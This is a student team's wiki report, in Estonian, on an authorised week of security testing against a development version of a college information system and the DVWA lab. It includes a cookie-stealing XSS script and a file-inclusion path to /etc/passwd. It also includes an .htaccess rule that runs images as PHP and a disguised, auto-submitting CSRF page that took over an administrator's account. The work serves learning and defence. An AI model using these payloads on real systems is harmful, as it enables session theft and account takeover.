ICO wiki - User contributions [en]

Security team

2012-04-02T09:25:01Z

Mallikso: /* Arvamused intensiivõppe nädala kohta */

== 1. päev - Materjalidega tutvumine ==
Nädal algas kell 10.00 ruumis 314, kus tutvustati ülesandeid, mida on võimalik valida.

Meie valisime ülesandeks: "ÕIS arendusversiooni turvatestimine".

Meeskonna liikmeteks said Urmo Lihten, Taavi Podzuks, Matis Alliksoo, Alo Konno ja Sander Saarm.

Tiimi nimeks valisime „Security team“.

Pärat teema valimist andis juhendaja Margus Ernits meile juhtnöörid, kuidas oleks mõistlik tiimitööd teha, lisaks andis ta ka lingi mille pealt oleks kõige parem õppida:

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Jagasime teemad ära:

::A1: Injection - Urmo
::A2: Cross-Site Scripting (XSS) - Alo
::A3: Broken Authentication and Session Management - Sander
::A4: Insecure Direct Object References - Alo
::A5: Cross-Site Request Forgery (CSRF) - Taavi
::A6: Security Misconfiguration - Matis
::A7: Insecure Cryptographic Storage - Matis
::A8: Failure to Restrict URL Access - Urmo
::A9: Insufficient Transport Layer Protection - Taavi
::A10: Unvalidated Redirects and Forwards - Sander

Igaüks tegi selgeks enda kaks teemat ja päeva lõpuks kandsime need ükteisele ja kuulajatele ette:
Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Media:A9.pdf]] <br>
Taavi esitlus [[Media:A5.pdf]] <br>
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Media:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

===Security Team tegevusplaan===
1. Päev
:1.1 Tutvuda OWASP’iga.
:1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
:1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
:2.1 Esitada tiimi tegevusplaani juhendajale.
:2.2 Tutvuda turvariskidega natuke põhjalikumalt.
:2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
:2.4 Täiendada esimese päeva ettekannet.
3. Päev
:3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
:3.2 Saadud tulemuste dokumenteerimine.
4. Päev
:4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
:5.1 Tulemuste parandamine wiki’s.

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
=== Fireforce plugin Firefoxis ===
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.

Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".

Määrata ära tuli ka, et mitu päringut sekundis tehakse.

Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.

Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

=== Burpsuite v1.4 ===
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|250px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.

Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.

Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.

Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.

Ründe stiiliks määrata Pitchfork.
Seejärel mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.

Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.

Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.

Kahjuks ka see rünne ei toiminud ja ei suudetud parooli välja tuua.
Proovitud sai ka lühemate nimekirjadega aga edutult.

Peale teise programmi kasutamist jõudsime järeldustele, et Pitchfork meetod kasutab tegelikult meetodit, kus ta paaritab mõlema nimekirja kirja peale järjekorras samadel kohtadel sõnad, millest polnud kasu. Oleks pidanud kasutama ClusterBomb viisi aga meil jäi ajanappuse tõttu kasutamata.
Samuti Brute Force ründeviisist polnud meil tegelikult kasu ja ei aita eesmärki täita effektiivselt ÕISi arendustestimisel.

Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 sekundiks sisselogimine ära vastava teatega.

Lisaks Brute force programmidele ei tule sealt vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

=== CSRF - Cross-site request forgery ===

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine.

Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.

Võtsime lehe Source Code lahti

Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.

Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.

Current Password lahtri jätsime samaks.

Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".

Salvestasime faili ja käivitasime selle.

Tuli ette ainult lahter Current Passwordi ja Submit nupuga.

Panime sisse tolle hetke parooli ning saatsime teele päringu.

Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus.

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Reflected Cross Site Scripting (XSS) ===
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Faili uploadimine DVWA (Damn Vulnerable Web Application) näitel ===
==== Faili üleslaadimine: madal tase ====
[[File:DVWA_upload.png|250px|thumb|right|DVWA Upload]]

<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev - Dev-ÕIS'i turvatestimine==

=== Acunetix Web Vulnerability Scanner v. 8 ===
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus: [[File:Tn Acunetix1.PNG|250px|thumb|right|Seaded]]
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.

Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.

Antud programm võimaldab skännida:
:Cross-Site Scripting (XSS)
:SQL Injection (blind test)
:File inclusion
:Code Execution
:LDAP Injection
:Cross Frame Scripting
:SQL Injection (error msg. test)
:CRLF Injection
:Directory Travelsal
:XPath Injection
:URL Redirection
:Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur sai pärast 19h skännimist, kui oli tehtud ~9% skännimisest see peatada.
19h skännimise tulemus oli:
25 High alerts:[[File:Tn Acunetix.PNG|250px|thumb|right|XSS skänni tulemus]]
HTTP Parameter Pollution (24)
Weak Password (1)

251 Medium alerts:
Apache hhtpd Remote denial of service (2)
Application error message (244)
URL redirection (5)

6 Low alerts:
Apache mod_negotiation filename bruteforcing (2)
Login page password-guessing attack (1)
Sensitive page could be cached (3)

21 Informational alerts:
Broken links (18)
Password type input with autcomplete enabled (3)

Kuna esimest skänni ei saanud lõpule viia otsustasime teha ühe kategooria skänni.
Skänniks sai valitud Cross-Site Scripting (XSS)
See skänn kestis 3h ja selle jooksul saadeti 61461 reqesti
Skänn tuvastas 742 high alerti (Cross Site Scripting) ja 21 informational alerti[Broken link(18), Password type input with autocomplete enabled (3)].

Kuna tegu on automaatiseeritud programmiga ei tähenda, et sait tegelt nii ebaturvaline on, osad asjad mida programm nõrkuseks loeb on mingi põhjusega lihtsalt nii seatud.
Skänni tulemuste kohta on raske mingeid kindlaid järeldus teha, kuna igat viga tuleks analüüsida ja määrata ära reaalne oht saidile.
Märkida võiks ära, et iga veebilehe omanik, kes on mures turvalisuse pärast võiks kaaluda selle toote kasutamist.

=== Failure to Restrict URL Access ===
[[File:PDFHinneteleht.png|250px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed lisati sellele lingile url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>
Proovisime ligi saada ka teistes kohtades lehtedele, mille õigus polnud, aga kõik olid kaitstud url'id.

=== Subgraph Vega ===
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|250px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|250px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

=== Wapiti ===
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud kasutada HTTPS protokolli kasutada.

=== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga===
====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|250px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

====2. katse - ÕIS'i kasutaja parooli muutmine ====

[[File:Salasona_ois.PNG|250px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|250px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|250px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

===Nessuse algkäivitamine===
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Backtrack: w3af ===
[[File:Basic HTTP Auth.png|250px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|250px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|250px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

<b>Skänneerimine </b>
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

=== Soovitus ===
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult näiteks:
<li>.doc
<li>.docx
<li>.pdf

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlesime selle kuulajaskonnale.

[[Media:Security_team_presentation.ppt]]

Video (meie esitlus on alates 11:20'st):

http://echo360.e-uni.ee/ess/echo/presentation/da8c32af-52d0-4a02-85fa-24f9323f8ce9

== Arvamused intensiivõppe nädala kohta ==

<b>Alo:</b> Intensiivõppe nädal oli väga huvitav kogemus, nädalaga sai õpitud palju uut ja huvitavat. Meeskonnatöö sujus hästi ja nädala algul püsitatud eesmärgid said täidetud. Isiklikult soovitan intensiivõppe nädalal osaleda kõigil kellel vähegi võimalik.

